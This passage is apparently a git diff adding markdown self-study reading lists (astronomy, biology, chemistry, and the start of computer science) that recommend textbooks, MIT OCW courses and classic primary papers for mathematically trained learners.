+3. Read Abbott et al. 2016 (GW150914) + +Total: roughly 6-8 months at a steady pace. + +--- + +## 12. Online and Data Resources + +| Resource | What it gives you | +|---|---| +| MIT OCW 8.282 | Full course materials, problem sets | +| SDSS SkyServer (skyserver.sdss.org) | Real photometric and spectroscopic data, SQL queries | +| NASA/IPAC Extragalactic Database (ned.ipac.caltech.edu) | Galaxy data, literature references | +| NASA Exoplanet Archive (exoplanetarchive.ipac.caltech.edu) | Complete exoplanet catalog with interactive plotting | +| Stellarium (stellarium.org) | Free planetarium software | +| ADS (ui.adsabs.harvard.edu) | Search the astronomy literature | +| arXiv astro-ph | Preprint server. Browse daily once you can read abstracts. | +| ESA Gaia Archive | Astrometric data for ~2 billion stars | + +--- + +## Notes on Approach + +The single most common failure mode for physics students learning astronomy is treating it as applied physics and skipping the observational content. Do not do this. The coordinate systems, the magnitude system, the detector physics, the data reduction pipeline -- these are not peripheral. They are the discipline. A physicist who cannot convert between magnitude and flux, who does not know what "seeing" means, who cannot read an HR diagram fluently, does not actually know astronomy regardless of how well they understand the Friedmann equations. + +Work problems. Carroll & Ostlie has hundreds and they are well-designed. Use real data. The SDSS SkyServer and NASA archives are free. Making a color-magnitude diagram from actual photometry teaches you more about stellar populations than reading three textbook chapters. diff --git a/doc/knowledge/biology.md b/doc/knowledge/biology.md new file mode 100644 index 0000000000000000000000000000000000000000..3285b2a034502bfa37bf47f57f749279c1ebdb0e --- /dev/null +++ b/doc/knowledge/biology.md @@ -0,0 +1,222 @@ +# Biology Reading List for Mathematics Undergraduates + +A self-study curriculum for building genuine undergraduate-level competence in biology. Designed for someone with mathematical maturity who wants rigor, not hand-waving. Estimated timeline: 18-24 months at moderate pace. + +--- + +## How to Use This List + +Each phase builds on the previous one. Within a phase, subjects can be pursued in parallel, but the order listed reflects logical dependency. Where a topic has natural mathematical structure (population genetics, enzyme kinetics, systems biology), that connection is noted explicitly. + +Do not skip Phase 1. Biology has enormous vocabulary overhead. A mathematician's instinct is to jump to the formalism, but biology's formalism is largely verbal and taxonomic. You need the vocabulary before the interesting structure becomes visible. + +--- + +## Phase 1: Foundation (Months 1-6) + +### Primary Text + +**Campbell Biology** (Lisa Urry et al., 12th edition or later) + +The standard introductory biology textbook. Comprehensive, well-illustrated, covers every major area at a first-pass level. A mathematician will find it somewhat verbose. Read it for coverage, not depth. You will revisit every topic in later phases with more advanced texts. + +Key chapters to prioritize: +- Unit 1 (Ch. 1-5): Chemistry of life, water, carbon, macromolecules. Prerequisite vocabulary. +- Unit 2 (Ch. 6-12): Cell structure, membranes, metabolism, cellular respiration, photosynthesis, cell cycle. The energetics chapters (8-10) have real quantitative content. +- Unit 3 (Ch. 13-21): Genetics. Meiosis, Mendel, DNA structure, gene expression, regulation, genomics. +- Unit 4 (Ch. 22-26): Evolution. Natural selection, phylogenetics, speciation. +- Unit 5 (Ch. 27-34): Diversity of life (skim for context). +- Unit 7 (Ch. 40-49): Animal physiology. Nervous, endocrine, cardiovascular, immune systems. +- Unit 8 (Ch. 52-56): Ecology. Population dynamics here connects directly to differential equations. + +Read actively. Biology rewards memorization more than mathematics does. Use Anki for terminology. + +### Lectures + +- **MIT OCW 7.013 -- Introductory Biology (Spring 2018)** -- Taught by Hazel Sive and Tyler Jacks. Covers molecular biology, genetics, and development. The problem sets are worth doing. +- **MIT OCW 7.014 -- Introductory Biology (Fall 2018)** -- Emphasizes ecology, evolution, and biochemistry more than 7.013. Good complement. +- **Khan Academy Biology** -- Use as reference, not primary instruction. + +### Supplementary Video + +- **Ninja Nerd (YouTube)** -- Excellent for physiology and biochemistry. Metabolism lectures are unusually clear. Medical focus gives the "why does this matter" framing. +- **AK Lectures (YouTube)** -- Strong on molecular biology and genetics. More concise than Ninja Nerd. + +### Key Primary Sources (Phase 1) + +1. **Mendel, "Experiments on Plant Hybridization" (1866)** -- The founding document of genetics. Remarkably clear. Mendel's reasoning is essentially combinatorial and statistical. Available free online. + +2. **Watson and Crick, "Molecular Structure of Nucleic Acids" (1953)** -- One page. The most consequential single page in 20th century biology. + +3. **Darwin, *On the Origin of Species* -- Chapters 1-4 and 14** -- Chapter 1 (variation under domestication) and chapters 3-4 (struggle for existence, natural selection) contain the core argument. + +--- + +## Phase 2: Intermediate Depth (Months 6-14) + +### Molecular Biology + +**Alberts et al., *Molecular Biology of the Cell* (7th edition)** + +The best molecular biology textbook in existence. 1400+ pages, but the writing is exceptionally clear and the illustrations are information-dense. + +Priority chapters: +- Part I (Ch. 1-3): Cells and genomes, cell chemistry, proteins. +- Part II (Ch. 4-7): DNA, chromosomes, DNA replication, repair, recombination, gene expression. The heart of molecular biology. +- Part III (Ch. 8-10): Control of gene expression, genetic variation, modern genomic approaches. Chapter 8 on gene regulation is essential. +- Part IV (Ch. 11-15): Membrane structure, transport, cell signaling, cancer. The signaling chapter connects to dynamical systems. +- Part V (Ch. 16-18): Cytoskeleton, cell cycle, cell death. + +The problem book (*Molecular Biology of the Cell: The Problems Book*, Wilson and Hunt) is excellent. + +**Mathematical connection:** Chapters 8 (gene regulation) and 15 (cell signaling) involve network logic, feedback loops, and switch-like behavior that can be modeled with ODEs and Boolean networks. This is the entry point to systems biology. + +### Biochemistry + +**Lehninger, *Principles of Biochemistry* (Nelson and Cox, 8th edition)** + +More quantitative than Alberts. A mathematician will find the thermodynamics and kinetics sections natural. + +Priority: +- Part I (Ch. 1-4): Foundations, water, amino acids, protein structure. Protein folding has deep mathematical structure (energy landscape theory). +- Part II (Ch. 5-12): Enzymes, carbohydrates, lipids, membranes. Enzyme kinetics (Ch. 6) is essentially applied ODEs: Michaelis-Menten kinetics, Lineweaver-Burk plots, allosteric regulation. +- Part III (Ch. 13-23): Metabolism. Glycolysis, citric acid cycle, oxidative phosphorylation, photosynthesis, fatty acid oxidation. +- Part IV (Ch. 24-28): Information pathways. Overlaps with Alberts. + +**Mathematical connection:** Enzyme kinetics is dynamical systems theory. Metabolic flux analysis uses linear algebra. Flux balance analysis is a linear programming problem. + +### Genetics + +**Griffiths et al., *Introduction to Genetic Analysis* (12th edition)** + +More detailed than Campbell on genetics. Covers Mendelian genetics, linkage, gene mapping, quantitative genetics, population genetics, and genomics. + +For population genetics specifically: + +**Hartl and Clark, *Principles of Population Genetics* (4th edition)** + +Population genetics is the most mathematically developed branch of biology. Hardy-Weinberg equilibrium, genetic drift (Wright-Fisher model), coalescent theory, selection models -- all of this is applied mathematics. A pure math student will feel at home here. + +**Mathematical connection:** The Wright-Fisher model is a Markov chain. Kimura's neutral theory uses diffusion equations. Coalescent theory is a stochastic process running backward in time. + +### Lectures (Phase 2) + +- **MIT OCW 7.01x -- Introduction to Biology: The Secret of Life (edX/OCW)** -- Eric Lander's course. Lander is a mathematician who became a geneticist, so his exposition naturally highlights quantitative reasoning. +- **iBiology** -- Research-level lectures by working biologists. Not a course, but a library. Particularly strong: Ron Vale on molecular motors, Robert Weinberg on cancer, Jennifer Doudna on CRISPR. + +### Key Primary Sources (Phase 2) + +4. **Jacob and Monod, "Genetic Regulatory Mechanisms in the Synthesis of Proteins" (1961)** -- The lac operon paper. Established gene regulation. The logic is essentially Boolean. + +5. **Sanger, Nicklen, Coulson, "DNA sequencing with chain-terminating inhibitors" (1977)** -- The paper that made genomics possible. + +6. **Fisher, "The Correlation Between Relatives on the Supposition of Mendelian Inheritance" (1918)** -- Fisher reconciled Mendelian genetics with continuous trait variation. Mathematically beautiful. The founding document of quantitative genetics. + +--- + +## Phase 3: Advanced Undergraduate / Early Graduate (Months 14-24) + +### Evolution + +**Futuyma and Kirkpatrick, *Evolution* (4th edition)** + +The standard upper-division evolution text. Covers natural selection, adaptation, speciation, phylogenetics, coevolution, and evo-devo. + +Key topics: +- Phylogenetic inference (Ch. 2): Tree-building algorithms, maximum likelihood, Bayesian methods. Applied statistics and discrete mathematics. +- Genetic drift and neutral theory (Ch. 7): Stochastic processes. +- Natural selection and adaptation (Ch. 5-6, 11-12): Fitness landscapes, adaptive dynamics. +- Speciation (Ch. 9): Geographic and reproductive isolation. +- Evo-devo (Ch. 21): Developmental gene networks, Hox genes, body plans. + +**Mathematical connection:** Phylogenetics is rich in combinatorics, probability, and algorithms. Fitness landscapes connect to optimization theory. + +### Physiology + +**Guyton and Hall, *Textbook of Medical Physiology* (14th edition)** + +The gold standard for human physiology. + +Priority: +- Neurophysiology (Units II-IX): Membrane potentials, action potentials, synaptic transmission, sensory systems, motor control. The Hodgkin-Huxley model is a system of nonlinear ODEs. +- Cardiovascular (Units IV-V): Cardiac electrophysiology, hemodynamics. +- Respiratory (Unit VII): Gas exchange, Fick's law of diffusion. +- Endocrine (Unit IX): Hormone signaling, feedback loops. +- Immune (Unit VI): Innate and adaptive immunity. Clonal selection is an evolutionary process within a single organism's lifetime. + +**Alternative:** Silverthorn, *Human Physiology: An Integrated Approach* -- less encyclopedic, more pedagogy. + +**Mathematical connection:** Hodgkin-Huxley equations. Compartmental models in pharmacokinetics. Control theory in homeostasis. + +### Developmental Biology + +**Gilbert and Barresi, *Developmental Biology* (13th edition)** + +Read selectively. Key chapters: fertilization, gastrulation, axis specification, morphogen gradients and pattern formation, limb development, stem cells. + +**Mathematical connection:** Turing's 1952 paper "The Chemical Basis of Morphogenesis" proposed reaction-diffusion equations for biological pattern formation. One of the most celebrated applications of PDEs to biology. + +### Microbiology + +**Madigan et al., *Brock's Biology of Microorganisms* (16th edition)** + +Focus on: bacterial cell structure and metabolism, microbial genetics, virology basics, microbial ecology. Use as reference unless microbiology becomes a focus. + +### Quantitative and Computational Biology + +These are the texts where your mathematical background pays the largest dividends. + +**Murray, *Mathematical Biology* (Volumes I and II, 3rd edition)** + +The definitive text on mathematical biology. Volume I covers population dynamics, reaction kinetics, biological oscillations, pattern formation. Volume II covers spatial models, epidemiology, morphogenesis. Written for applied mathematicians. Prerequisites: ODEs, PDEs, linear algebra, basic probability. + +This is where biology becomes mathematics. Lotka-Volterra, epidemiological SIR models, Turing instabilities, traveling wave solutions, neural field equations. If you read one book on this list as a mathematician, it should be Murray. + +**Alon, *An Introduction to Systems Biology: Design Principles of Biological Circuits* (2nd edition)** + +Short, elegant, deeply mathematical. Treats gene regulatory networks as circuits with design principles: negative feedback, feed-forward loops, robustness, noise filtering. Uses ODEs and network theory. Essential reading. + +**Ewens, *Mathematical Population Genetics* (2nd edition)** + +More rigorous than Hartl and Clark. Covers diffusion theory, coalescent theory, and stochastic theory at a graduate level. + +### Key Primary Sources (Phase 3) + +7. **Turing, "The Chemical Basis of Morphogenesis" (1952)** -- Reaction-diffusion systems generating spatial patterns. A mathematician should read this on principle. + +8. **Hodgkin and Huxley, "A Quantitative Description of Membrane Current..." (1952)** -- Four coupled nonlinear ODEs describing the action potential. One of the most successful mathematical models in all of biology. + +9. **Kimura, "Evolutionary Rate at the Molecular Level" (1968)** -- The founding paper of neutral theory. Short, provocative, mathematically grounded. + +10. **Fisher, *The Genetical Theory of Natural Selection* (1930) -- Chapters 1-6** -- Fisher's fundamental theorem. The mathematical core of evolutionary theory. + +11. **Lander et al., "Initial sequencing and analysis of the human genome" (2001)** -- The Human Genome Project paper. + +12. **Elowitz and Leibler, "A synthetic oscillatory network of transcriptional regulators" (2000)** -- The repressilator paper. Launched synthetic biology. + +--- + +## Reference Shelf + +- **Stryer, *Biochemistry* (Berg, Tymoczko, Stryer, 9th edition)** -- Alternative to Lehninger. +- **Lodish et al., *Molecular Cell Biology* (9th edition)** -- Alternative to Alberts. +- **Lewin's *Genes*** -- Strong on molecular genetics and gene regulation. +- **Keener and Sneyd, *Mathematical Physiology* (Volumes I and II, 2nd edition)** -- Comprehensive mathematical treatment of physiology. Graduate level. + +--- + +## Practical Notes + +**Notation.** Biology uses almost no formal notation. Concepts that could be stated precisely are often left verbal. When you encounter a biological claim that seems imprecise, try to formalize it yourself. Often the act of formalization reveals the claim is either trivially true, subtly wrong, or genuinely deep. + +**Scale.** Biology spans roughly 10 orders of magnitude in spatial scale (molecules to ecosystems) and 15 in temporal scale (femtosecond enzyme conformational changes to billion-year evolutionary timescales). The appropriate mathematical tools change with scale: stochastic processes at the molecular level, ODEs at the cellular level, PDEs at the tissue level, agent-based models and game theory at the population level. + +**Where mathematics enters biology most naturally:** +1. Population genetics and evolutionary theory (probability, stochastic processes, combinatorics) +2. Enzyme kinetics and metabolic networks (ODEs, linear algebra, optimization) +3. Neuroscience and electrophysiology (dynamical systems, PDEs) +4. Developmental biology and pattern formation (reaction-diffusion PDEs) +5. Ecology and epidemiology (ODEs, stochastic processes, network theory) +6. Genomics and bioinformatics (statistics, algorithms, information theory) +7. Structural biology and protein folding (geometry, optimization, statistical mechanics) +8. Systems biology (control theory, network theory, stochastic simulation) diff --git a/doc/knowledge/chemistry.md b/doc/knowledge/chemistry.md new file mode 100644 index 0000000000000000000000000000000000000000..c39e257dfaab7deb1735915236ec9e30b909fa40 --- /dev/null +++ b/doc/knowledge/chemistry.md @@ -0,0 +1,285 @@ +# Chemistry Reading List for the Mathematically Mature Beginner + +A structured curriculum for someone with strong mathematics and physics preparation who wants genuine undergraduate-level competence in chemistry, starting from zero. + +The advantage of coming from pure math and physics: you already have the calculus, linear algebra, differential equations, and quantum mechanics intuition that most chemistry students struggle with. Physical chemistry will feel natural. The challenge: chemistry has a large empirical and descriptive component that cannot be derived from first principles. You have to learn facts, memorize patterns, and develop chemical intuition through exposure. Do not resist this. It is not intellectual weakness; it is the nature of the subject. + +--- + +## Phase 1: General Chemistry (Months 1-4) + +This is the equivalent of a two-semester freshman sequence. It covers the core vocabulary and conceptual framework of the entire discipline. + +### Primary Textbook + +**Atkins, Jones, and Laverman -- Chemical Principles: The Quest for Insight** (8th edition or later) + +This is the rigorous general chemistry text. It assumes comfort with algebra and basic calculus and does not waste time on hand-holding. The thermodynamics and quantum chapters are written by Peter Atkins, who is the best expository writer in physical chemistry. + +If unavailable, the fallback is: + +**Zumdahl and Zumdahl -- Chemistry** (10th edition or later) + +More thorough on stoichiometry and equilibrium calculations. Slightly less elegant than Atkins but covers everything you need with excellent worked examples. + +### Topics and Ordering + +1. **Atomic structure and periodicity.** Electron configurations, quantum numbers, orbital shapes, periodic trends (ionization energy, electron affinity, electronegativity, atomic radius). You already know the hydrogen atom from physics -- chemistry extends this to multi-electron atoms via shielding and effective nuclear charge. + +2. **Chemical bonding.** Ionic vs. covalent, Lewis structures, VSEPR theory, molecular geometry, hybridization, molecular orbital theory. MO theory will feel natural given your linear algebra background. + +3. **Stoichiometry.** Mole concept, balancing equations, limiting reagents, percent yield. Not deep but you must be fluent. + +4. **States of matter and intermolecular forces.** Gas laws, kinetic molecular theory, phase diagrams, London dispersion, dipole-dipole, hydrogen bonding. + +5. **Solutions and colligative properties.** Concentration units, solubility, Raoult's law, boiling point elevation, freezing point depression, osmotic pressure. + +6. **Chemical thermodynamics.** Enthalpy, entropy, Gibbs free energy, Hess's law, standard formation enthalpies. You know thermodynamics from physics; here you learn to predict whether reactions actually happen. + +7. **Chemical kinetics.** Rate laws, reaction order, Arrhenius equation, collision theory, transition state theory, catalysis. Differential equations applied to reaction rates. + +8. **Chemical equilibrium.** Equilibrium constants, Le Chatelier's principle, ICE tables, reaction quotients. + +9. **Acid-base chemistry.** Bronsted-Lowry theory, pH, pKa, buffer solutions, titration curves, polyprotic acids. Master this thoroughly; it returns everywhere in organic and biochemistry. + +10. **Electrochemistry.** Galvanic and electrolytic cells, standard reduction potentials, Nernst equation, Faraday's laws. + +11. **Nuclear chemistry.** Radioactive decay, half-lives, binding energy, fission, fusion. + +### Supplementary Resources + +- **MIT OCW 5.111 -- Principles of Chemical Science** (Catherine Drennan) -- Full lecture videos, problem sets, exams. Excellent lecturer. +- **Khan Academy Chemistry** -- Good for rapid review of specific topics. Stoichiometry and acid-base sections are particularly well done. +- **Tyler DeWitt (YouTube)** -- Clear, patient explanations. Best for stoichiometry and gas laws. +- **Professor Dave Explains -- General Chemistry playlist (YouTube)** -- Systematic coverage. Good for review. + +### Problem-Solving + +Do the harder end-of-chapter problems from the textbook. Chemistry is learned by solving problems, same as mathematics. Aim for at least 10-15 problems per topic. + +--- + +## Phase 2: Organic Chemistry (Months 4-8) + +Organic chemistry is the largest body of knowledge in this curriculum. The difficulty is not mathematical -- it is pattern recognition and spatial reasoning. You are learning a language of molecular transformations. There are roughly 60-80 named reactions you need to internalize. + +### Primary Textbook + +**Clayden, Greeves, Warren, and Wothers -- Organic Chemistry** (2nd edition, 2012) + +The best organic chemistry textbook written in the last thirty years. It teaches organic chemistry as a logical system of reactivity principles rather than a catalog of reactions to memorize. The mechanism-first approach means you learn WHY reactions happen, not just WHAT happens. Used at Oxford, Cambridge, and most serious UK chemistry programs. + +Clayden is 1500 pages. Read it linearly. Do the in-chapter exercises. + +Do not use McMurry, Bruice, or Wade as your primary text. They are written for pre-med students and organize material around functional groups rather than mechanistic principles. + +### Topics and Ordering + +1. **Structure and bonding review.** Hybridization, electronegativity, resonance, inductive effects. Clayden chapters 1-3. + +2. **Functional groups and nomenclature.** Alkanes, alkenes, alkynes, alcohols, ethers, aldehydes, ketones, carboxylic acids, esters, amines, amides. + +3. **Stereochemistry.** Chirality, enantiomers, diastereomers, R/S configuration, E/Z notation, optical activity, meso compounds. Use a physical model kit or 3D visualization tool. + +4. **Reaction mechanisms: nucleophilic substitution and elimination.** SN1, SN2, E1, E2. These four mechanisms and the factors that control competition between them are the foundation of organic reactivity. + +5. **Addition reactions to alkenes and alkynes.** Electrophilic addition, Markovnikov's rule, hydroboration, catalytic hydrogenation, epoxidation. + +6. **Carbonyl chemistry.** Nucleophilic addition to aldehydes and ketones, acyl substitution at carboxylic acid derivatives. The core of organic chemistry. Clayden treats this brilliantly. + +7. **Enolate chemistry.** Aldol reactions, Claisen condensation, Michael addition, enamine chemistry. Where synthesis planning begins. + +8. **Aromatic chemistry.** Aromaticity, electrophilic aromatic substitution, nucleophilic aromatic substitution, directing effects. Huckel's rule connects to MO theory. + +9. **Pericyclic reactions.** Diels-Alder, electrocyclic reactions, sigmatropic rearrangements, Woodward-Hoffmann rules. Where your math background pays off -- these reactions are controlled by orbital symmetry. + +10. **Retrosynthetic analysis.** Disconnection approach, synthons, functional group interconversions. Strategic thinking: given a target molecule, plan a synthetic route backwards. + +### Supplementary Resources + +- **MIT OCW 5.12 -- Organic Chemistry I** -- Lecture videos and problem sets. +- **Organic Chemistry Tutor (YouTube)** -- Excellent for worked problems on specific reaction types. +- **Clayden Solutions Manual** -- Essential companion. + +### On Memorization + +You cannot derive organic chemistry from first principles. There are patterns and principles, but ultimately you need to know that LiAlH4 reduces esters to alcohols while DIBAL-H reduces them to aldehydes. Flashcards (Anki) for reaction conditions and reagents are not beneath you. + +--- + +## Phase 3: Physical Chemistry (Months 6-10, overlapping with Organic) + +This is your home territory. Physical chemistry is applied mathematics and physics to chemical systems. + +### Primary Textbook + +**McQuarrie and Simon -- Physical Chemistry: A Molecular Approach** (1997) + +The definitive physical chemistry textbook for someone with your background. Quantum mechanics first, then statistical thermodynamics, then chemical applications. Mathematically rigorous without being pedantic. The problems are excellent. + +Most chemistry programs use Atkins' Physical Chemistry (the "big Atkins"), which covers similar material but in a different order (thermodynamics first). McQuarrie is better for someone coming from physics. + +### Supplementary Text + +**Atkins and de Paula -- Physical Chemistry** (11th edition or later) + +Use as a reference for broader coverage of applied topics (electrochemistry, transport properties, surface chemistry). + +### Topics + +**Quantum Chemistry (your strongest area)** + +1. Postulates of quantum mechanics, Schrodinger equation, particle in a box, harmonic oscillator, rigid rotor. You know all of this. The chemistry version emphasizes applications to molecular systems. + +2. Hydrogen atom and multi-electron atoms. Variational principle, perturbation theory, Hartree-Fock. Learn the chemistry applications (term symbols, selection rules). + +3. Molecular orbital theory. LCAO-MO, Huckel theory, Walsh diagrams, computational chemistry overview. Huckel theory is linear algebra applied to conjugated pi systems. + +4. Molecular spectroscopy. Rotational, vibrational, electronic spectroscopy. Selection rules from group theory. UV-vis, IR, NMR theory. + +5. Group theory and symmetry. Point groups, character tables, symmetry-adapted linear combinations, selection rules derived from symmetry. Abstract algebra applied to molecular symmetry. + +**Statistical Thermodynamics** + +6. Boltzmann distribution, partition functions, connection to thermodynamic quantities. Deriving thermodynamics from statistical mechanics with chemical applications. + +7. Ideal gas partition function, internal energy, heat capacity, entropy of mixing. Chemical equilibrium derived from partition functions. + +8. Einstein and Debye models of solids. + +**Chemical Kinetics (mathematical treatment)** + +9. Rate laws as differential equations, integrated rate laws, steady-state approximation, Lindemann mechanism, transition state theory, Eyring equation. + +10. Reaction dynamics. Potential energy surfaces, molecular beam experiments, Marcus theory of electron transfer. + +### Supplementary Resources + +- **MIT OCW 5.61 -- Physical Chemistry** (Robert Field and Troy Van Voorhis) -- Quantum mechanics for chemists. Challenging problem sets. +- **MIT OCW 5.62 -- Physical Chemistry II: Statistical Thermodynamics** -- Rigorous treatment. + +--- + +## Phase 4: Inorganic Chemistry (Months 8-11) + +Transition metals, coordination compounds, organometallics, solid state chemistry, bioinorganic chemistry. More descriptive than organic or physical chemistry, but the theoretical underpinnings (group theory, crystal field theory, MO theory for metal complexes) will appeal to your mathematical sensibility. + +### Primary Textbook + +**Housecroft and Sharpe -- Inorganic Chemistry** (5th edition or later) + +The standard comprehensive inorganic text worldwide. Covers everything from main group descriptive chemistry to advanced topics in catalysis and materials science. + +### Topics + +1. **Main group chemistry.** Systematic treatment of Groups 1-2, 13-18. Descriptive but important: you need to know what elements actually do. + +2. **Coordination chemistry.** Werner's theory, nomenclature, isomerism in octahedral and square planar complexes, chelate effect, thermodynamic and kinetic stability. + +3. **Crystal field theory and ligand field theory.** d-orbital splitting, spectrochemical series, crystal field stabilization energy, magnetism, color. CFT is electrostatic; LFT adds MO theory. Both are elegant and predictive. + +4. **Electronic spectra of transition metal complexes.** Term symbols, Tanabe-Sugano diagrams, selection rules, charge transfer bands. Group theory is essential here. + +5. **Organometallic chemistry.** Metal carbonyls, metallocenes, 18-electron rule, oxidative addition, reductive elimination, insertion, beta-hydride elimination. Catalytic cycles (hydrogenation, cross-coupling, olefin metathesis). + +6. **Solid state chemistry.** Crystal structures, band theory, semiconductors, superconductors. Band theory is Bloch's theorem applied to infinite lattices. + +7. **Bioinorganic chemistry.** Metalloenzymes, oxygen transport (hemoglobin/myoglobin), electron transfer proteins, photosynthesis, nitrogen fixation. + +### Supplementary Resources + +- **MIT OCW 5.03 -- Principles of Inorganic Chemistry I** (Daniel Nocera) -- Superb lecturer. Strong on group theory and spectroscopy. +- **Miessler, Fischer, and Tarr -- Inorganic Chemistry** (5th edition) -- Good second reference with strong theoretical emphasis. + +--- + +## Phase 5: Analytical Chemistry (Months 10-11, overview level) + +You do not need a full analytical chemistry course, but you need to understand the major techniques and what information they provide. + +### Primary Resource + +**Harris -- Quantitative Chemical Analysis** (10th edition or later) + +Focus on these areas: + +1. **Statistics of measurement.** Error analysis, significant figures, confidence intervals, propagation of uncertainty. + +2. **Gravimetric and volumetric analysis.** Titrations (acid-base, redox, complexometric), precipitation methods. + +3. **Spectroscopic methods.** UV-vis spectroscopy (Beer-Lambert law), atomic absorption/emission, mass spectrometry, NMR spectroscopy (chemical shift, coupling, integration -- the most important analytical technique in organic chemistry). + +4. **Chromatography.** Gas chromatography, HPLC, thin-layer chromatography. Separation principles. + +5. **Electroanalytical methods.** Potentiometry, voltammetry, coulometry. + +### For NMR and Spectral Interpretation + +**Pavia, Lampman, Kriz, and Vyvyan -- Introduction to Spectroscopy** (5th edition) + +The standard text for learning to interpret NMR, IR, and mass spectra. Work through the NMR and IR chapters and practice the spectral identification problems. This skill is essential for organic chemistry. + +### Supplementary + +- **Professor Dave Explains -- Analytical Chemistry playlist (YouTube)** -- Good overview of instrumental techniques. + +--- + +## Phase 6: Biochemistry (Months 11-12, overview level) + +The goal is to understand the chemical logic of biological systems. + +### Primary Textbook + +**Voet and Voet -- Biochemistry** (4th edition) + +The rigorous biochemistry text. Assumes organic chemistry, does not shy away from thermodynamics and kinetics. Better than Lehninger for someone with your quantitative background. + +If too heavy for an overview: + +**Berg, Tymoczko, Gatto, and Stryer -- Biochemistry** (9th edition) + +Slightly more accessible, still serious. + +### Topics (selective reading) + +1. **Amino acids and protein structure.** Primary, secondary, tertiary, quaternary structure. Ramachandran plots. Protein folding. + +2. **Enzyme kinetics.** Michaelis-Menten kinetics, Lineweaver-Burk plots, inhibition (competitive, uncompetitive, noncompetitive). Differential equations applied to biological catalysis. + +3. **Enzyme mechanisms.** Serine proteases, lysozyme, carbonic anhydrase. Organic reaction mechanisms in biological contexts. + +4. **Metabolism overview.** Glycolysis, citric acid cycle, oxidative phosphorylation, fatty acid oxidation, gluconeogenesis. Follow the thermodynamic logic. + +5. **Nucleic acid chemistry.** DNA and RNA structure, base pairing, replication, transcription, translation (overview). + +6. **Lipids and membranes.** Membrane structure, transport, signal transduction (overview). + +--- + +## Lab Techniques: Conceptual Understanding + +### Resource + +**Zubrick -- The Organic Chem Lab Survival Manual** (11th edition) + +A short, readable guide to common lab techniques: distillation, extraction, recrystallization, chromatography, reflux, rotary evaporation. Read it once in a weekend. + +### Video Resources + +- **NileRed (YouTube)** -- Organic synthesis in practice. Real chemistry with commentary on technique and reasoning. +- **MIT OCW 5.301 -- Chemistry Laboratory Techniques** -- Video demonstrations of fundamental techniques. + +--- + +## Practical Notes + +**Time estimate.** At 10-15 hours per week, this curriculum takes 12-14 months. Phases 3 and 2 can partially overlap since they use different cognitive skills. + +**What to skip if time-limited.** Analytical chemistry can be reduced to NMR and mass spectrometry only. Biochemistry can be reduced to enzyme kinetics and metabolism. Do not skip general, organic, or physical chemistry. + +**Where your math background helps most.** Physical chemistry, thermodynamics, kinetics, MO theory, group theory applications, enzyme kinetics. + +**Where your math background does not help.** Descriptive inorganic chemistry, organic reaction memorization, functional group chemistry, nomenclature. These require raw exposure and repetition. + +**A note on rigor.** Chemistry is an experimental science. Theories in chemistry are models that work within domains of validity, not deductive systems. VSEPR is empirically useful despite having no rigorous theoretical justification. Crystal field theory is "wrong" (it ignores covalency) but predictive. If you expect mathematical rigor at every step, you will be frustrated. The rigor in chemistry is in experimental methodology and in physical chemistry; the rest is principled pragmatism. diff --git a/doc/knowledge/cs.md b/doc/knowledge/cs.md new file mode 100644 index 0000000000000000000000000000000000000000..eea4c7accd860fbd194024677ad70ef7cf7c8bf1 --- /dev/null +++ b/doc/knowledge/cs.md @@ -0,0 +1,316 @@ +# Computer Science Theoretical Foundation: A Reading List + +For the working programmer who wants the science behind the craft. + +This curriculum assumes you can already write software. You know C, Go, Python, and JS/TS. You run Arch, you patch suckless tools. What you want now is the theoretical machinery that separates engineering intuition from mathematical certainty. + +--- + +## Phase 1: Foundations + +The bedrock. Everything else builds on this. + +### Discrete Mathematics + +You need to be comfortable writing proofs, reasoning about graphs, and thinking combinatorially before anything else in this list will stick. + +**Primary text:** + +- *Discrete Mathematics and Its Applications* by Kenneth Rosen (8th ed). Comprehensive and methodical. Covers logic, proofs, sets, functions, relations, graph theory, combinatorics, number theory. The exercises are the point. +- *Mathematics for Computer Science* by Lehman, Leighton, and Meyer. The MIT 6.042 textbook, available free. More proof-focused and better written than Rosen in places. + +**Supplementary:** + +- *How to Prove It* by Daniel Velleman. If proofs feel shaky, start here. +- *Concrete Mathematics* by Graham, Knuth, and Patashnik. Not a first book. Come back after you have some combinatorics under your belt. + +**Course:** + +- MIT 6.042J Mathematics for Computer Science (OCW). Full lectures, problem sets, exams. + +### Data Structures and Algorithms + +Not interview prep. Rigorous analysis, correctness proofs, and understanding *why* algorithms work. + +**Primary text (choose one):** + +- *Introduction to Algorithms* by Cormen, Leiserson, Rivest, and Stein (CLRS), 4th ed. The reference standard. Dense, encyclopedic, proof-heavy. Chapters 1-16 and 22-26 form the core. +- *The Algorithm Design Manual* by Steven Skiena, 3rd ed. More opinionated, more practical, better at building intuition about *when* to use what. Weaker on proofs than CLRS. + +**Recommendation:** Start with Skiena for the intuition and narrative. Use CLRS as the rigorous companion and long-term reference. + +**Supplementary:** + +- *The Art of Computer Programming* by Donald Knuth. Volumes 1-3. You do not read TAOCP. You study it, slowly, over years. Start with Volume 1, Chapters 1-2. +- *Algorithm Design* by Kleinberg and Tardos. Excellent on algorithm design paradigms (greedy, divide-and-conquer, dynamic programming, network flow). + +**Courses:** + +- MIT 6.006 Introduction to Algorithms (OCW). Erik Demaine's lectures are exceptionally clear. +- MIT 6.046J Design and Analysis of Algorithms (OCW). Amortized analysis, randomized algorithms, approximation algorithms, network flow. +- Stanford CS 161 (Tim Roughgarden's lectures on Coursera as "Algorithms Specialization"). + +**Project:** Implement a balanced BST (red-black or AVL), a hash table with open addressing, a priority queue backed by a Fibonacci heap, and Dijkstra's algorithm using your priority queue. Do it in C. Prove the runtime bounds on paper before you code. + +--- + +## Phase 2: Core Theory + +The subjects that make computer science a science. + +### Theory of Computation + +Automata, formal languages, computability, and complexity. This is where you learn what computers *cannot* do. + +**Primary text:** + +- *Introduction to the Theory of Computation* by Michael Sipser, 3rd ed. Beautifully written, rigorous without being impenetrable. Part 1 (automata and languages), Part 2 (computability), Part 3 (complexity). Read it linearly. Do the exercises. + +**Supplementary:** + +- *Computational Complexity: A Modern Approach* by Arora and Barak. The graduate-level follow-up. Free draft online. Covers P vs NP, circuit complexity, probabilistic computation, interactive proofs, quantum computation. +- *Automata and Computability* by Dexter Kozen. More concise than Sipser, slightly more mathematical. + +**Course:** + +- MIT 18.404J Theory of Computation (OCW), taught by Sipser himself. + +**Papers:** + +- Alan Turing, "On Computable Numbers, with an Application to the Entscheidungsproblem" (1936). The founding document. More accessible than its reputation suggests. +- Stephen Cook, "The Complexity of Theorem-Proving Procedures" (1971). Introduces NP-completeness. +- Richard Karp, "Reducibility Among Combinatorial Problems" (1972). The 21 